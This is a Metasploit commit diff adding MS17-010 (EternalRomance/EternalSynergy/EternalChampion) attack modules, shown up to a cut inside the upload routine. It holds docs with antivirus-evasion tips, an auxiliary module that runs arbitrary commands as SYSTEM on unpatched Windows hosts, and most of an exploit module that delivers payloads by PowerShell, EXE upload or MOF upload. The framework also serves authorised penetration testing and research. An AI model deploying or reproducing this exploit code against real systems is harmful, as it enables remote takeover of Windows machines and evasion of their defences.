Land #9473, new MS17-010 aux and exploit modules
commit
c9473f8cbc
|
@ -0,0 +1,84 @@
|
|||
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
|
||||
|
||||
You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
|
||||
|
||||
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
|
||||
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
|
||||
|
||||
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
|
||||
|
||||
## Vulnerable Server
|
||||
|
||||
To be able to use auxiliary/admin/smb/ms17_010_command:
|
||||
|
||||
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
|
||||
2. The firewall must allow SMB traffic.
|
||||
3. The target must use SMBv1.
|
||||
4. The target must be missing the MS17-010 patch.
|
||||
5. The target must allow anonymous IPC$ and a Named Pipe.
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/smb/ms17_010_command
|
||||
msf exploit(psexec) > set RHOSTS 192.168.1.80
|
||||
RHOSTS => 192.168.1.80
|
||||
msf exploit(psexec) > exploit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.
|
||||
|
||||
**The NAMEDPIPE Option**
|
||||
|
||||
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
|
||||
|
||||
**The LEAKATTEMPTS Option**
|
||||
|
||||
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
|
||||
|
||||
**The DBGTRACE Option**
|
||||
|
||||
Used to debug, gives extremely verbose information.
|
||||
|
||||
**The SMBUser Option**
|
||||
|
||||
This is a valid Windows username.
|
||||
|
||||
**The SMBPass option**
|
||||
|
||||
This can be either the plain text version or the Windows hash.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Automatic Target**
|
||||
|
||||
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
|
||||
|
||||
**Powershell Target**
|
||||
|
||||
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
|
||||
|
||||
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
|
||||
|
||||
**Native Upload Target**
|
||||
|
||||
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
||||
SHARE datastore option), and then execute it with psexec.
|
||||
|
||||
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
|
||||
**MOF Upload Target**
|
||||
|
||||
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
|
||||
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
|
||||
|
||||
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
|
||||
caught by antivirus on the target.
|
||||
|
||||
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
|
@ -0,0 +1,84 @@
|
|||
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
|
||||
|
||||
You can run any command as SYSTEM, or stage Meterpreter. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
|
||||
|
||||
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
|
||||
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
|
||||
|
||||
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
|
||||
|
||||
## Vulnerable Server
|
||||
|
||||
To be able to use exploit/windows/smb/ms17_010_psexec:
|
||||
|
||||
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
|
||||
2. The firewall must allow SMB traffic.
|
||||
3. The target must use SMBv1.
|
||||
4. The target must be missing the MS17-010 patch.
|
||||
5. The target must allow anonymous IPC$ and a Named Pipe.
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
```
|
||||
msf > use exploit/windows/smb/ms17_010_psexec
|
||||
msf exploit(psexec) > set RHOST 192.168.1.80
|
||||
RHOST => 192.168.1.80
|
||||
msf exploit(psexec) > exploit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default, using exploit/windows/smb/ms17_010_psexec can be as simple as setting the RHOST option, and you're ready to go.
|
||||
|
||||
**The NAMEDPIPE Option**
|
||||
|
||||
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
|
||||
|
||||
**The LEAKATTEMPTS Option**
|
||||
|
||||
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
|
||||
|
||||
**The DBGTRACE Option**
|
||||
|
||||
Used to debug, gives extremely verbose information.
|
||||
|
||||
**The SMBUser Option**
|
||||
|
||||
This is a valid Windows username.
|
||||
|
||||
**The SMBPass option**
|
||||
|
||||
This can be either the plain text version or the Windows hash.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Automatic Target**
|
||||
|
||||
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
|
||||
|
||||
**Powershell Target**
|
||||
|
||||
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
|
||||
|
||||
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
|
||||
|
||||
**Native Upload Target**
|
||||
|
||||
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
||||
SHARE datastore option), and then execute it with psexec.
|
||||
|
||||
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
|
||||
**MOF Upload Target**
|
||||
|
||||
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
|
||||
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
|
||||
|
||||
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
|
||||
caught by antivirus on the target.
|
||||
|
||||
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
|
@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
|
|||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/local_paths'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
||||
require 'msf/core/exploit/smb/client/remote_paths'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -63,7 +63,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
#Misc
|
||||
self.spnopt = {}
|
||||
|
||||
self.default_max_buffer_size = 0xffdf
|
||||
end
|
||||
|
||||
# Read a SMB packet from the socket
|
||||
|
@ -661,7 +661,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLen'] = pass.length + 1
|
||||
|
@ -736,7 +736,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
|
@ -791,7 +791,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 13
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
|
||||
|
@ -866,7 +866,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
end
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
|
@ -942,7 +942,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload']['SMB'].v['UserID'] = temp_user_id
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||
|
@ -998,7 +998,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload']['SMB'].v['UserID'] = userid
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
|
@ -1034,7 +1034,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
|
@ -2043,6 +2043,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
||||
attr_accessor :system_time, :system_zone
|
||||
attr_accessor :spnopt
|
||||
attr_accessor :default_max_buffer_size
|
||||
|
||||
# public read methods
|
||||
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||
|
|
|
@ -0,0 +1,210 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',
|
||||
'Description' => %q{
|
||||
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
|
||||
primitive. This will then be used to overwrite the connection session information with as an
|
||||
Administrator session. From there, the normal psexec command execution is done.
|
||||
|
||||
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
|
||||
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
|
||||
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
|
||||
named pipe.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'sleepya', # zzz_exploit idea and offsets
|
||||
'zerosum0x0',
|
||||
'Shadow Brokers',
|
||||
'Equation Group'
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'AKA', 'ETERNALSYNERGY' ],
|
||||
[ 'AKA', 'ETERNALROMANCE' ],
|
||||
[ 'AKA', 'ETERNALCHAMPION' ],
|
||||
[ 'AKA', 'ETERNALBLUE'], # does not use any CVE from Blue, but Search should show this, it is preferred
|
||||
[ 'MSB', 'MS17-010' ],
|
||||
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
|
||||
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
|
||||
[ 'CVE', '2017-0147'], # for EternalRomance reference
|
||||
[ 'URL', 'https://github.com/worawit/MS17-010' ],
|
||||
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
|
||||
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 14 2017'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
||||
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
|
||||
OptString.new('RPORT', [true, 'The Target port', 445]),
|
||||
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
|
||||
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
|
||||
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
|
||||
])
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
begin
|
||||
eternal_pwn(ip) # exploit Admin session
|
||||
smb_pwn(ip) # psexec
|
||||
|
||||
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
|
||||
print_error("#{e.message}")
|
||||
rescue ::Errno::ECONNRESET,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::Proto::SMB::Exceptions::LoginError,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionRefused => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
rescue => error
|
||||
print_error(error.class.to_s)
|
||||
print_error(error.message)
|
||||
print_error(error.backtrace.join("\n"))
|
||||
ensure
|
||||
eternal_cleanup() # restore session
|
||||
end
|
||||
end
|
||||
|
||||
def smb_pwn(ip)
|
||||
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
|
||||
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
|
||||
@smbshare = datastore['SMBSHARE']
|
||||
@ip = ip
|
||||
|
||||
# Try and authenticate with given credentials
|
||||
res = execute_command(text, bat)
|
||||
|
||||
if res
|
||||
for i in 0..(datastore['RETRY'])
|
||||
Rex.sleep(datastore['DELAY'])
|
||||
# if the output file is still locked then the program is still likely running
|
||||
if (exclusive_access(text))
|
||||
break
|
||||
elsif (i == datastore['RETRY'])
|
||||
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
|
||||
end
|
||||
end
|
||||
get_output(text)
|
||||
end
|
||||
|
||||
cleanup_after(text, bat)
|
||||
end
|
||||
|
||||
#
|
||||
# TODO: the rest shamelessly copypasta from auxiliary/admin/smb/psexec_command
|
||||
# it should probably be mixin'd. I have changed some of vprint/print tho
|
||||
# => zerosum0x0
|
||||
#
|
||||
|
||||
# Executes specified Windows Command
|
||||
def execute_command(text, bat)
|
||||
# Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
|
||||
vprint_status("Executing the command...")
|
||||
begin
|
||||
return psexec(execute)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||
print_error("Unable to execute specified command: #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Retrive output from command
|
||||
def get_output(file)
|
||||
vprint_status("Getting the command output...")
|
||||
output = smb_read_file(@smbshare, @ip, file)
|
||||
if output.nil?
|
||||
print_error("Error getting command output. #{$!.class}. #{$!}.")
|
||||
return
|
||||
end
|
||||
if output.empty?
|
||||
print_status("Command finished with no output")
|
||||
return
|
||||
end
|
||||
|
||||
# Report output
|
||||
vprint_good("Command completed successfuly!")
|
||||
|
||||
# zerosum0x0: this is better with Verbose off in this case
|
||||
print_status("Output for \"#{datastore['COMMAND']}\":")
|
||||
print_line("#{output}")
|
||||
|
||||
report_note(
|
||||
:rhost => datastore['RHOSTS'],
|
||||
:rport => datastore['RPORT'],
|
||||
:type => "psexec_command",
|
||||
:name => datastore['COMMAND'],
|
||||
:data => output
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# check if our process is done using these files
|
||||
def exclusive_access(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
files.each do |file|
|
||||
begin
|
||||
vprint_status("checking if the file is unlocked")
|
||||
fd = smb_open(file, 'rwo')
|
||||
fd.close
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to get handle: #{accesserror}")
|
||||
return false
|
||||
end
|
||||
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
# Removes files created during execution.
|
||||
def cleanup_after(*files)
|
||||
begin
|
||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
|
||||
return
|
||||
end
|
||||
vprint_status("Executing cleanup...")
|
||||
files.each do |file|
|
||||
begin
|
||||
smb_file_rm(file)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
|
||||
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
|
||||
end
|
||||
end
|
||||
left = files.collect{ |f| smb_file_exist?(f) }
|
||||
if left.any?
|
||||
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
|
||||
else
|
||||
print_good("Cleanup was successful")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,339 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# Windows XP systems that are not part of a domain default to treating all
|
||||
# network logons as if they were Guest. This prevents SMB relay attacks from
|
||||
# gaining administrative access to these systems. This setting can be found
|
||||
# under:
|
||||
#
|
||||
# Local Security Settings >
|
||||
# Local Policies >
|
||||
# Security Options >
|
||||
# Network Access: Sharing and security model for local accounts
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
|
||||
'Description' => %q{
|
||||
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
|
||||
primitive. This will then be used to overwrite the connection session information with as an
|
||||
Administrator session. From there, the normal psexec payload code execution is done.
|
||||
|
||||
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
|
||||
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
|
||||
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
|
||||
named pipe.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'sleepya', # zzz_exploit idea and offsets
|
||||
'zerosum0x0',
|
||||
'Shadow Brokers',
|
||||
'Equation Group'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'ETERNALSYNERGY' ],
|
||||
[ 'AKA', 'ETERNALROMANCE' ],
|
||||
[ 'AKA', 'ETERNALCHAMPION' ],
|
||||
[ 'AKA', 'ETERNALBLUE'], # does not use any CVE from Blue, but Search should show this, it is preferred
|
||||
[ 'MSB', 'MS17-010' ],
|
||||
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
|
||||
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
|
||||
[ 'CVE', '2017-0147'], # for EternalRomance reference
|
||||
[ 'URL', 'https://github.com/worawit/MS17-010' ],
|
||||
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
|
||||
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 3072,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'PowerShell', { } ],
|
||||
[ 'Native upload', { } ],
|
||||
[ 'MOF upload', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 14 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
|
||||
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
|
||||
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
eternal_pwn(datastore['RHOST'])
|
||||
smb_pwn()
|
||||
|
||||
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
|
||||
print_error("#{e.message}")
|
||||
rescue ::Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::LoginError,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionRefused => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
rescue => error
|
||||
print_error(error.class.to_s)
|
||||
print_error(error.message)
|
||||
print_error(error.backtrace.join("\n"))
|
||||
ensure
|
||||
eternal_cleanup() # restore session
|
||||
end
|
||||
end
|
||||
|
||||
def smb_pwn()
|
||||
case target.name
|
||||
when 'Automatic'
|
||||
if powershell_installed?
|
||||
print_status('Selecting PowerShell target')
|
||||
powershell
|
||||
else
|
||||
print_status('Selecting native target')
|
||||
native_upload
|
||||
end
|
||||
when 'PowerShell'
|
||||
powershell
|
||||
when 'Native upload'
|
||||
native_upload
|
||||
when 'MOF upload'
|
||||
mof_upload
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
# TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
|
||||
# be moved into a mixin
|
||||
|
||||
def powershell_installed?
|
||||
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
|
||||
|
||||
case datastore['SHARE'].upcase
|
||||
when 'ADMIN$'
|
||||
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
when 'C$'
|
||||
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
else
|
||||
path = datastore['PSH_PATH']
|
||||
end
|
||||
|
||||
simple.connect(share)
|
||||
|
||||
vprint_status("Checking for #{path}")
|
||||
|
||||
if smb_file_exist?(path)
|
||||
vprint_status('PowerShell found')
|
||||
psh = true
|
||||
else
|
||||
vprint_status('PowerShell not found')
|
||||
psh = false
|
||||
end
|
||||
|
||||
simple.disconnect(share)
|
||||
|
||||
psh
|
||||
end
|
||||
|
||||
def powershell
|
||||
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Execute the powershell command
|
||||
print_status("Executing the payload...")
|
||||
begin
|
||||
psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
end
|
||||
end
|
||||
|
||||
def native_upload
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
|
||||
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
smbshare = datastore['SHARE']
|
||||
fileprefix = ""
|
||||
# if SHARE = Users/sasha/ or something like this
|
||||
if smbshare =~ /.[\\\/]/
|
||||
subfolder = true
|
||||
smbshare = datastore['SHARE'].dup
|
||||
smbshare = smbshare.gsub(/^[\\\/]/,"")
|
||||
folder_list = smbshare.split(/[\\\/]/)
|
||||
smbshare = folder_list[0]
|
||||
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
||||
else
|
||||
subfolder = false
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
fd << exe
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
if subfolder
|
||||
print_status("Created \\#{fileprefix}\\#{filename}...")
|
||||
else
|
||||
